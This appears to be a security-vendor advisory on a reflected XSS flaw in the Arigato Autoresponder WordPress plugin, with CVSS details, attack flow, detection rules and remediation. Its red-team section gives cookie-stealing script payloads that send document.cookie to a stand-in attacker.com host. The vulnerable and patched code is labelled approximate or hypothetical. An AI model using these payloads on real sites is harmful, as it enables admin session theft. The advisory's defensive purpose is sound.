CVE-2025-39594

Executive Summary

CVE-2025-39594 is a reflected Cross-Site Scripting (XSS) vulnerability in the Arigato Autoresponder and Newsletter WordPress plugin (slug: bft-autoresponder). The vulnerability exists in versions up to and including 2.7.2.4 due to improper neutralization of user-supplied input during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, credential theft, or deployment of further malicious plugins/themes.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin panel or via wp-cli are affected. No official patch has been released as of this report. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. Although the EPSS score is 0.0%, the vulnerability is trivial to exploit and affects a widely-used email marketing plugin. The lack of a patch increases the risk.

Deep Dive & Mechanics

The vulnerability resides in the bft-autoresponder plugin's handling of URL parameters. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTML response. Specifically, the message parameter (or similar) is echoed directly into the page without proper encoding.

Root Cause: The plugin uses echo $_GET['message']; or similar unsanitized output functions in PHP, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. Attacker crafts a URL: https://victim.com/wp-admin/admin.php?page=bft-autoresponder&message=<script>alert('XSS')</script>
2. Attacker sends the link to an authenticated admin via email, social engineering, or other means.
3. Admin clicks the link while logged into WordPress.
4. The injected script executes in the admin's browser context, allowing the attacker to:
   • Steal session cookies (if HttpOnly is not set)
   • Perform actions on behalf of the admin (e.g., create new admin users, install malicious plugins)
   • Deface the admin dashboard

Vulnerable vs. Patched Code

Vulnerable Code (bft-autoresponder <= 2.7.2.4):

// In some admin page handler
$message = $_GET['message'];
echo '<div class="notice">' . $message . '</div>';

Patched Code (hypothetical fix):

// Properly escape output
$message = isset($_GET['message']) ? esc_html($_GET['message']) : '';
echo '<div class="notice">' . $message . '</div>';

The fix uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Arigato Autoresponder <= 2.7.2.4 installed and activated.
• An authenticated admin user session.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., message, error, success).
2. Craft a payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. URL-encode the payload: %3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D'%2Bdocument.cookie)%3C%2Fscript%3E
4. Send the crafted URL to the admin: https://victim.com/wp-admin/admin.php?page=bft-autoresponder&message=%3Cscript%3E...
5. When the admin clicks, the script executes and exfiltrates cookies.

Example Payload:

<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script> tags in query parameters.
• Look for unusual referrer headers or user-agent strings.
• Use WAF rules to block reflected XSS patterns.

Hunting:

• Search for GET requests to /wp-admin/admin.php with page=bft-autoresponder and suspicious message parameters.
• Check for outbound connections to unknown domains from the WordPress admin dashboard.

Lab Setup:

• Use a local WordPress installation with Docker.
• Install the vulnerable plugin version.
• Simulate an admin clicking a malicious link using a headless browser (e.g., Puppeteer).

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Suspicious query strings in web server logs: message=<script>...</script>
• Host:
  • Unexpected admin users created in WordPress.
  • New plugins or themes installed without authorization.
  • Modified .htaccess or wp-config.php files.
• File:
  • Presence of webshells in the WordPress uploads directory.
  • Unusual PHP files in /wp-content/plugins/bft-autoresponder/.

Detection Engineering

YARA Rule

rule CVE_2025_39594_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Arigato Autoresponder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39594"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $vuln_param = "page=bft-autoresponder"
    condition:
        $vuln_param and $xss_payload
}

Sigma Rule

title: Reflected XSS in Arigato Autoresponder Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against the Arigato Autoresponder WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "page=bft-autoresponder"
            - "<script>"
            - "%3Cscript%3E"
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-39594 Reflected XSS in Arigato Autoresponder"; flow:to_server,established; content:"page=bft-autoresponder"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns in query parameters.
3. Restrict admin access to trusted IP addresses only.
4. Enable Content Security Policy (CSP) headers to mitigate script execution.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using esc_html(), esc_attr(), or wp_kses().
• Users should update to the latest version once available.

Workaround:

• Add the following to .htaccess to block malicious requests:

RewriteEngine On
RewriteCond %{QUERY_STRING} (<script>|%3Cscript%3E) [NC]
RewriteRule ^ - [F,L]

Valters IT
Securing WordPress ecosystems one CVE at a time.